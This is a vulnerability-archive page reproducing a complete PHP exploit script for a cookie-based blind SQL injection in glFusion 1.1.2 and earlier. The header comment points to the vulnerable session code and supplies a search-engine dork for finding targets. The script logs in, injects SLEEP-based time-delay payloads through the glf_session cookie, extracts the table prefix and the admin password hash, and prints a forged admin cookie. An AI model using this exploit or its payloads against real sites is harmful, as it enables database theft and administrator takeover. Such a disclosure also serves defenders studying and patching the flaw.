Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21581
HistoryApr 03, 2009 - 12:00 a.m.

glFusion <= 1.1.2 COM_applyFilter()/cookies remote blind sql injection exploit

2009-04-0300:00:00
vulners.com
3146

<?php
/*
glFusion <= 1.1.2 COM_applyFilter()/cookies remote blind sql injection exploit
by Nine:Situations:Group::bookoo

our site: http://retrogod.altervista.org/
software site: http://www.glfusion.org/
 
google dork: &quot;Page created in&quot; &quot;seconds by glFusion&quot; +RSS
 
Found another vector of injection in /private/system/lib-session.php near lines 97-117:
...
if &#40;isset &#40;$_COOKIE[$_CONF[&#39;cookie_session&#39;]]&#41;&#41; {
$sessid = COM_applyFilter &#40;$_COOKIE[$_CONF[&#39;cookie_session&#39;]]&#41;;
if &#40;$_SESS_VERBOSE&#41; {
COM_errorLog&#40;&quot;got $sessid as the session id from lib-sessions.php&quot;,1&#41;;
}
 
$userid = SESS_getUserIdFromSession&#40;$sessid, $_CONF[&#39;session_cookie_timeout&#39;], $_SERVER[&#39;REMOTE_ADDR&#39;],

$_CONF['cookie_ip']);

if &#40;$_SESS_VERBOSE&#41; {
COM_errorLog&#40;&quot;Got $userid as User ID from the session ID&quot;,1&#41;;
}
 
if &#40;$userid &gt; 1&#41; {
// Check user status
 
$status = SEC_checkUserStatus&#40;$userid&#41;;
if &#40;&#40;$status == USER_ACCOUNT_ACTIVE&#41; ||
&#40;$status == USER_ACCOUNT_AWAITING_ACTIVATION&#41;&#41; {
$user_logged_in = 1;
 
SESS_updateSessionTime&#40;$sessid, $_CONF[&#39;cookie_ip&#39;]&#41;;
 
...
 
see SESS_updateSessionTime&#40;&#41; function near lines 418-436:
 
...
function SESS_updateSessionTime&#40;$sessid, $md5_based=0&#41; {
global $_TABLES;
 
$newtime = &#40;string&#41; time&#40;&#41;;
 
if &#40;$md5_based == 1&#41; {
 
$sql = &quot;UPDATE {$_TABLES[&#39;sessions&#39;]} SET start_time=$newtime WHERE &#40;md5_sess_id = &#39;$sessid&#39;&#41;&quot;;
} else {
 
$sql = &quot;UPDATE {$_TABLES[&#39;sessions&#39;]} SET start_time=$newtime WHERE &#40;sess_id = $sessid&#41;&quot;; //&lt;-------- SQL INJECTION

HERE

}
 
$result = DB_query&#40;$sql&#41;;
 
return 1;
}
...
 
if session id is not md5&#40;&#41; hashed in general configuration, which is the default
you can inject arbitrary SQL statements.
 
Note that the query in SESS_getUserIdFromSession&#40;&#41; function:
 
...
if &#40;$md5_based == 1&#41; {
$sql = &quot;SELECT uid FROM {$_TABLES[&#39;sessions&#39;]} WHERE &quot;
. &quot;&#40;md5_sess_id = &#39;$sessid&#39;&#41; AND &#40;start_time &gt; $mintime&#41; AND &#40;remote_ip = &#39;$remote_ip&#39;&#41;&quot;;
} else {
 
$sql = &quot;SELECT uid FROM {$_TABLES[&#39;sessions&#39;]} WHERE &quot;
. &quot;&#40;sess_id = &#39;$sessid&#39;&#41; AND &#40;start_time &gt; $mintime&#41; AND &#40;remote_ip = &#39;$remote_ip&#39;&#41;&quot;;
}
...
 
compares the supplied sessid value with the &quot;sessid&quot; value from sessions table which is an integer.
Mysql, like php, in comparing them, only considers the first integer values of the supplied string.
So the function returns a valid userid and, if you know an existent sessid in table, you can inject
queries in cookies, like this:
 
Cookie: glf_session=12345678 [SQL HERE]; glfusion=9999999999;
 
This tool use delays to extract an admin hash from users table, but needs a simple user account;
 
some improvement in find_prefix&#40;&#41;;
 
working against MySQL &gt;= 5.0.12, where SLEEP&#40;&#41; function is availiable
or ... if you find another solution for delays, with MySQL &gt;= 4.1, which supports SELECT subqueries
&#40;BENCHMARK&#40;&#41; cannot be used because commas are filtered by COM_applyFilter&#40;&#41; function&#41;
 
*/
 
$err[0] = &quot;[!] This script is intended to be launched from the cli!&quot;;
$err[1] = &quot;[!] You need the curl extesion loaded!&quot;;
 
if &#40;php_sapi_name&#40;&#41; &lt;&gt; &quot;cli&quot;&#41; {
    die&#40;$err[0]&#41;;
}
if &#40;!extension_loaded&#40;&#39;curl&#39;&#41;&#41; {
    $win = &#40;strtoupper&#40;substr&#40;PHP_OS, 0, 3&#41;&#41; === &#39;WIN&#39;&#41; ? true :
    false;
    if &#40;$win&#41; {
        !dl&#40;&quot;php_curl.dll&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    } else {
        !dl&#40;&quot;php_curl.so&quot;&#41; ? die&#40;$err[1]&#41; :
        nil;
    }
}
 
function syntax&#40;&#41; {
    print &#40;
    &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [user] [pass] [OPTIONS]         &#92;n&quot;. &quot;Options:                            

\n". "–port:[port] - specify a port \n". " default->80
\n". "–prefix - try to extract table prefix from information.schema\n". " default->gl_
\n". "–uid:[n] - specify an uid other than default (2,usually admin)\n". "–proxy:[host:port] - use proxy
\n". "–verbose - show more informations \n". "–skiptest - skip preliminary
tests \n". "–test - run only tests \n".
"Examples: php ".$argv[0]." 192.168.0.1 /glfusion/ bookoo pass \n". " php ".$argv[0]." 192.168.0.
1 / bookoo pass --prefix --proxy:1.1.1.1:8080\n". " php ".$argv[0]." 192.168.0.1 / bookoo pass --prefix
–uid:3");
die();
}

error_reporting&#40;E_ALL ^ E_NOTICE&#41;;
$host = $argv[1];
$path = $argv[2];
$_user = $argv[3];
$_pwd = $argv[4];
 
$prefix = &quot;gl_&quot;;
//default
$uid = &quot;2&quot;;
$where = &quot;uid=$uid&quot;; //user id, usually admin, anonymous = 1
 
 
$argv[4] ? print&#40;&quot;[*] Attacking...&#92;n&quot;&#41; :
 syntax&#40;&#41;;
 
$_f_prefix = false;
$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_verbose = false;
$_test = false;
 
for &#40;$i = 3; $i &lt; $argc; $i++&#41; {
    if &#40;stristr&#40;$argv[$i], &quot;--prefix&quot;&#41;&#41; {
        $_f_prefix = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--proxy:&quot;&#41;&#41; {
        $_use_proxy = true;
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $proxy_host = $tmp[1];
        $proxy_port = &#40;int&#41;$tmp[2];
    }
    if &#40;stristr&#40;$argv[$i], &quot;--port:&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $port = &#40;int&#41;$tmp[1];
    }
     
    if &#40;stristr&#40;$argv[$i], &quot;--uid&quot;&#41;&#41; {
        $tmp = explode&#40;&quot;:&quot;, $argv[$i]&#41;;
        $uid = &#40;int&#41;$tmp[1];
        $where = &quot;uid=$uid&quot;;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--verbose&quot;&#41;&#41; {
        $_verbose = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--skiptest&quot;&#41;&#41; {
        $_skiptest = true;
    }
    if &#40;stristr&#40;$argv[$i], &quot;--test&quot;&#41;&#41; {
        $_test = true;
    }
}
 
function _s&#40;$url, $ck, $is_post, $request&#41; {
    global $_use_proxy, $proxy_host, $proxy_port;
    $ch = curl_init&#40;&#41;;
    curl_setopt&#40;$ch, CURLOPT_URL, $url&#41;;
    if &#40;$is_post&#41; {
        curl_setopt&#40;$ch, CURLOPT_POST, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_POSTFIELDS, $request.&quot;&#92;r&#92;n&quot;&#41;;
    }
    curl_setopt&#40;$ch, CURLOPT_RETURNTRANSFER, 1&#41;;
    curl_setopt&#40;$ch, CURLOPT_USERAGENT, &quot;Mozilla/5.0 &#40;Windows; U; Windows NT 5.1; it; rv:1.9.0.7&#41; Gecko/2009021910

Firefox/3.0.7");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_HEADER, 1);
$cookies = array("Cookie: ".$ck);
curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}

function chk_err&#40;$s&#41; {
    if &#40;stripos &#40;$s,

"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64")) {
return true;
} else {
return false;
}
}

function chk_login&#40;$s&#41; {
    if &#40;stripos &#40;$s,

"\x50\x6c\x65\x61\x73\x65\x20\x65\x6e\x74\x65\x72\x20\x79\x6f\x75\x72\x20\x75\x73\x65\x72\x20\x6e\x61\x6d\x65\x20\x61\x6e\x64\x20\x70\x61\x73\x73\x77\x6f\x72\x64\x20\x62\x65\x6c\x6f\x77"))
die("[!] Unable to login: wrong credentials.");
}
if (stripos ($s,
"\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x65\x78\x63\x65\x65\x64\x65\x64\x20\x74\x68\x65\x20\x6e\x75\x6d\x62\x65\x72\x20\x6f\x66\x20\x61\x6c\x6c\x6f\x77\x65\x64\x20\x6c\x6f\x67\x69\x6e\x20\x61\x74\x74\x65\x6d\x70\x74\x73\x2e\x20\x20\x50\x6c\x65\x61\x73\x65\x20\x74\x72\x79\x20\x61\x67\x61\x69\x6e\x20\x6c\x61\x74\x65\x72\x2e"))
die("[!] You have exceeded the number of allowed login attempts.");
}

}
function login&#40;&#41; {
    global $url, $host, $port, $path, $_user, $_pwd, $_verbose;
    $url = &quot;http://$host:$port&quot;.$path.&quot;users.php&quot;;
    $out = _s&#40;$url, &quot;&quot;, 1, &quot;loginname=$_user&amp;passwd=$_pwd&amp;bb2_screener_=&quot;&#41;;
    chk_login&#40;$out&#41;;
    $tmp = explode&#40;&quot;&#92;x0d&#92;x0a&#92;x0d&#92;x0a&quot;, $out&#41;;
    $tmp = explode&#40;&quot;&#92;x67&#92;x6c&#92;x66&#92;x5f&#92;x73&#92;x65&#92;x73&#92;x73&#92;x69&#92;x6f&#92;x6e&#92;x3d&quot;, $tmp[0]&#41;;
    $tmp = explode&#40;&quot;&#92;x3b&quot;, $tmp[1]&#41;;
    $sessid = &#40;int&#41;$tmp[0];
    !$sessid ? die&#40;&quot;[!] Unable to login ...&quot;&#41; :
     nil;
    if &#40;$_verbose&#41; {
        print &quot;[?] sessid-&gt;&quot;.$sessid.&quot;&#92;n&quot;;
    }
    return $sessid;
}
 
function tests&#40;&#41; {
    global $host, $port, $path, $n, $delayfunc;
     
     
    $sessid = login&#40;&#41;;
    $sql = &quot;--&quot;;
    $cookies = &quot;glf_session=$sessid&quot;.$sql.&quot;; glfusion=9999999999;&quot;;
    $url = &quot;http://$host:$port&quot;.$path;
    $_o = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
    if &#40;chk_err&#40;$_o&#41;&#41; {
        print&#40;&quot;[?] Vulnerable!&#92;n&quot;&#41;;
    } else {
        die &#40;&quot;[?] Not vulnerable ...&quot;&#41;;
    }
    $sessid = login&#40;&#41;;
    $sql = &quot; AND &#40;CASE WHEN &#40;SELECT 1&#41; THEN 1 ELSE 0 END&#41; &#41; LIMIT 1-- &quot;;
    $cookies = &quot;glf_session=$sessid&quot;.$sql.&quot;; glfusion=9999999999;&quot;;
    $_o = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
    if &#40;chk_err&#40;$_o&#41;&#41; {
        die&#40;&quot;[!] MySQL &lt; 4.1!&#92;n&quot;&#41;;
    } else {
        print&#40;&quot;[*] Subquery works!-&gt;Mysql &gt;= 4.1&#92;n&quot;&#41;;
    }
    $sessid = login&#40;&#41;;
    $sql = &quot; AND &#40;CASE WHEN &#40;SELECT 1&#41; THEN 1 ELSE SLEEP&#40;0&#41; END&#41; &#41; LIMIT 1-- &quot;;
    $cookies = &quot;glf_session=$sessid&quot;.$sql.&quot;; glfusion=9999999999;&quot;;
    $_o = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
    if &#40;chk_err&#40;$_o&#41;&#41; {
        die&#40;&quot;[!] SLEEP&#40;&#41; function not availiable! MySQL &lt; 5.0.12&#92;n&quot;&#41;;
    } else {
        print&#40;&quot;[*] SLEEP&#40;&#41; function availiable. MySQL &gt;= 5.0.12&#92;n&quot;&#41;;
    }
     
    $cookies = &quot;&quot;;
    $_z = 0;
    $_w = 10;
    for &#40;$i = 0; $i &lt;= $_w; $i++&#41; {
        $starttime = time&#40;&#41;;
        $_o = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
        $endtime = time&#40;&#41;;
        $difftime = $endtime - $starttime;
        $_z = $_z + $difftime;
    }
    $_y = round&#40;$_z / $_w&#41;;
    $n = $n + $_y;
    if &#40;$_y &lt;&gt; 0&#41; {
        print&#40;&quot;[*] Adjusting delay time of &quot;.$_y.&quot; second&#40;s&#41;-&gt;delay = &quot;.$n.&quot;&#92;n&quot;&#41;;
    }
     
}
 
 
function find_prefix&#40;&#41; {
    global $host, $port, $path, $delayfunc, $_user, $_pwd, $n;
     
    $_tn = &quot;TABLE_NAME&quot;; //case important ??
    $_ift = &quot;information_schema.TABLES&quot;; //??
     
    $_table_prefix = &quot;&quot;;
    $j = -15;
    print &quot;[*] Initiating table prefix extraction...&#92;n&quot;;
    while &#40;!$null_f&#41; {
        $mn = 0x00;
        $mx = 0xff;
        while &#40;1&#41; {
            if &#40;&#40;$mx + $mn&#41; &#37; 2 == 1&#41; {
                $c = round&#40;&#40;$mx + $mn&#41; / 2&#41; - 1;
            } else {
                $c = round&#40;&#40;$mx + $mn&#41; / 2&#41;;
            }
            $sessid = login&#40;&#41;;
            $sql = &quot; AND &#40;CASE WHEN &#40;SELECT &#40;ASCII&#40;SUBSTR&#40;&quot;.$_tn.&quot; FROM $j FOR 1&#41;&#41; &gt;= &quot;.$c.&quot;&#41; FROM &quot;.$_ift.&quot; WHERE

".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN $delayfunc ELSE 0 END) ) LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$url = "http://$host:$port".$path;

            $starttime = time&#40;&#41;;
            $_o = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
            $endtime = time&#40;&#41;;
            $difftime = $endtime - $starttime;
             
            if &#40;chk_err&#40;$_o&#41;&#41; {
                die&#40;&quot;&#92;n[!] information_schema not availiable! MySQL &lt; 5.0&quot;&#41;;
            }
             
            if &#40;$difftime &gt; &#40;$n-1&#41;&#41; {
                $mn = $c;
                sleep&#40;$n&#41;;
            } else {
                $mx = $c - 1;
            }
             
            if &#40;&#40;$mx-$mn == 1&#41; or &#40;$mx == $mn&#41;&#41; {
                $sessid = login&#40;&#41;;
                $sql = &quot; AND &#40;CASE WHEN &#40;SELECT &#40;ASCII&#40;SUBSTR&#40;&quot;.$_tn.&quot; FROM $j FOR 1&#41;&#41; = &quot;.$mn.&quot;&#41; FROM &quot;.$_ift.&quot; WHERE

".$_tn." LIKE 0x25747261636b6261636b636f646573 LIMIT 1) THEN $delayfunc ELSE 0 END) ) LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$url = "http://$host:$port".$path;

                $starttime = time&#40;&#41;;
                $_o = _s&#40;$url, $cookies, 0, &quot;&quot;&#41;;
                $endtime = time&#40;&#41;;
                $difftime = $endtime - $starttime;
                 
                if &#40;$difftime &gt; &#40;$n-1&#41;&#41; {
                    if &#40;$mn &lt;&gt; 0&#41; {
                        $_table_prefix = chr&#40;$mn&#41;.$_table_prefix;
                    } else {
                        $null_f = true;
                    }
                } else {
                    $_table_prefix = chr&#40;$mx&#41;.$_table_prefix;
                     
                }
                if &#40;!$null_f&#41; {
                    print &#40;&quot;[?] Table prefix-&gt;[??]&quot;.$_table_prefix.&quot;&#92;n&quot;&#41;;
                }
                sleep&#40;$n&#41;;
                break;
            }
        }
        $j--;
    }
    print &quot;[?] Table prefix-&gt;&quot;.$_table_prefix.&quot;&#92;n&quot;;
    return $_table_prefix;
}
 
$n = 30; //delay n seconds
 
if &#40;!$_skiptest&#41; {
    print &quot;[*] Initiating preliminary tests ...&#92;n&quot;;
    tests&#40;&#41;;
}
if &#40;$_test&#41; {
    die&#40;&#41;;
}
 
$delayfunc = &quot;SLEEP&#40;&quot;.$n.&quot;&#41;&quot;;
 
if &#40;$_f_prefix == true&#41; {
    $prefix = find_prefix&#40;&#41;;
     
}
 
$c = array&#40;&#41;;
$c = array_merge&#40;$c, range&#40;0x30, 0x39&#41;&#41;;
$c = array_merge&#40;$c, range&#40;0x61, 0x66&#41;&#41;;
$url = &quot;http://$host:$port&quot;.$path;
$_hash = &quot;&quot;;
print &#40;&quot;[*] Initiating hash extraction ...&#92;n&quot;&#41;;
for &#40;$j = 1; $j &lt; 0x21; $j++&#41; {
    for &#40;$i = 0; $i &lt;= 0xff; $i++&#41; {
        $f = false;
        if &#40;in_array&#40;$i, $c&#41;&#41; {
             
            $sessid = login&#40;&#41;;
            $sql = &quot; AND &#40;CASE WHEN &#40;SELECT &#40;ASCII&#40;SUBSTR&#40;passwd FROM $j FOR 1&#41;&#41;=$i&#41; FROM &quot;.$prefix.&quot;users WHERE

$where LIMIT 1) THEN $delayfunc ELSE 0 END) ) LIMIT 1-- ";
$cookies = "glf_session=$sessid".$sql."; glfusion=9999999999;";
$starttime = time();
$out = _s($url, $cookies, 0, "");
$endtime = time();
$difftime = $endtime - $starttime;
if (chk_err($out)) {
die("[!] sql error.");
}
if ($difftime > ($n-1)) {
$f = true;
$_hash .= chr($i);
print "[?] hash: ".$_hash."[??]\n";
sleep($n);
break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error …");
}
}
print "\n[*] your cookie->glfusion=".$uid."; glf_password=".$_hash."; glf_theme=nouveau;";

?>

original url: http://retrogod.altervista.org/9sg_glfuso_sql_cookies.html

additional note: note that they patched the 'order' argument and not (!!!) the COM_applyFilter() function, so we came out
with this